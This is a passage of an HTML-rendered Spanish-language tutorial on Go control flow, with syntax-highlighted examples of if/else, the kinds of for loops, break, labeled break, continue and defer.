style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;18&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; edad &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;18&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Menor de edad&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; edad &amp;gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;18&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Mayor de edad&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Tiene 18 exactamente&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;tipos-de-bucles-for-en-go&#34;&gt;Tipos de bucles for en go&lt;/h2&gt;&#xA;&lt;p&gt;En go &lt;strong&gt;existen varios tipos de bucles for&lt;/strong&gt;: con contador, con condicional, range y el infinito.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1747441808/coffee-bytes/golang-for-loops-schema-diagram_1_hlfy0i.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1747441808/coffee-bytes/golang-for-loops-schema-diagram_1_hlfy0i.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diagrama de tipos de bucles for en Go o Golang&#34; width=&#34;1564&#34; height=&#34;886&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Diagrama de tipos de bucles for en Go o Golang&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;bucles-con-contador-en-go&#34;&gt;Bucles con contador en Go&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Este es el clásico bucle que ya conoces de Javascript, C++, etc. En el que se declara una variable, se especifica una condición y se realizan cambios a la variables.&lt;/p&gt;&#xA;&lt;p&gt;Declaramos &amp;ldquo;i&amp;rdquo; igual a 0, mientras &amp;ldquo;i&amp;rdquo; sea menor que 10, ejecuta el siguiente bloque y, posteriormente, incrementa &amp;ldquo;i&amp;rdquo; en uno, cada instrucción separada por un punto y coma.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;bucle-con-condicional-o-bucle-while-en-go&#34;&gt;Bucle con condicional o bucle while en Go&lt;/h3&gt;&#xA;&lt;p&gt;En este tipo de bucle se evalúa una condición, si el resultado es &lt;em&gt;true&lt;/em&gt;, se ejecuta el bloque, si no, se brinca ese bloque de código.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &#xA;    Este tipo de bucle for sería el equivalente del bucle while en otros lenguajes de programación.&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;counter &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; counter &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    counter &lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;bucle-con-range-en-golang&#34;&gt;Bucle con range en golang&lt;/h3&gt;&#xA;&lt;p&gt;Range nos permite recorrer una estructura iterable de principio a fin y nos permite acceder al respectivo índice y elemento. Es ideal para recorrer &lt;em&gt;arrays&lt;/em&gt;, &lt;em&gt;strings&lt;/em&gt;, &lt;em&gt;slices&lt;/em&gt;, &lt;em&gt;maps&lt;/em&gt;, &lt;em&gt;channels&lt;/em&gt; y cualquier estructura que pueda recorrerse.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;HolaMundo &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hola mundo&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; index, letra &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; HolaMundo {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;%d %c \n&amp;#34;&lt;/span&gt;, index, letra)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;/*&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;0 H &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;1 o &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;2 l &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;3 a &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;4   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;5 m &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;6 u &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;7 n &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;8 d &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;9 o*/&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;bucle-infinito&#34;&gt;Bucle infinito&lt;/h3&gt;&#xA;&lt;p&gt;Un bucle &lt;em&gt;for&lt;/em&gt; sin condición va a ejecutarse por siempre.&lt;/p&gt;&#xA;&lt;p&gt;La única manera de salir de un bucle for infinito es con un &lt;em&gt;break&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;counterForever &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    counterForever&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;break&#34;&gt;break&lt;/h2&gt;&#xA;&lt;p&gt;Como acabo de mencionar, &lt;em&gt;break&lt;/em&gt; rompe un bucle y continua la ejecución del código.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;counterForever &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    counterForever&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(counterForever)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; counterForever &amp;gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Aquí se rompe el bucle&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;break&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 6&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Aquí se rompe el bucle&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;break-en-bucles-con-nombre-en-go&#34;&gt;Break en bucles con nombre en go&lt;/h3&gt;&#xA;&lt;p&gt;En otros lenguajes de programación, como en Python, &lt;em&gt;break&lt;/em&gt; rompería el bucle inmediato, es decir, el bucle inmediato en el que se encuentra. ¿No sería genial poder parar al bucle exterior desde el interior? En go es posible de manera sencilla&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;break&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Println(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;El bucle principal continua ejecutándose&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# El bucle principal continua ejecutándose&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# El bucle principal continua ejecutándose&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# El bucle principal continua ejecutándose&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Go nos permite asignarle nombres a los bucles, ¿para qué? Para hacer referencia a bucles específicos y ser capaz de romperlos usando break. Mira este ejemplo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;loop:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Rompiendo el bucle externo&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;break&lt;/span&gt; loop&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Esto nunca se imprimirá en pantalla&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nombramos a nuestro bucle como loop y ahora ejecutamos un bucle infinito que tendrá un bucle infinito en su interior. Este último bucle va a romper el bucle externo, de nombre &lt;em&gt;loop&lt;/em&gt;, por lo que la segunda sentencia nunca va a imprimirse en pantalla.&lt;/p&gt;&#xA;&lt;h2 id=&#34;como-usar-continue-en-go&#34;&gt;Como usar continue en Go&lt;/h2&gt;&#xA;&lt;p&gt;Continue detiene la iteración actual del bucle y continua su ejecución en la siguiente iteración.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;counter &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; counter &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    counter &lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; counter &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Nos brincamos el 3&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;continue&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(counter)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//Nos brincamos el 3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;que-hace-defer-en-go&#34;&gt;¿Qué hace defer en Go?&lt;/h2&gt;&#xA;&lt;p&gt;Defer retrasa la ejecución de una linea de código hasta el final. del código. Es bastante similar a lo que hace el atributo &lt;em&gt;defer&lt;/em&gt; con etiqueta script de HTML.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;defer&lt;/span&gt; fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Esto se va a ejecutar hasta el final&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Esto se va a ejecutar primero&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span 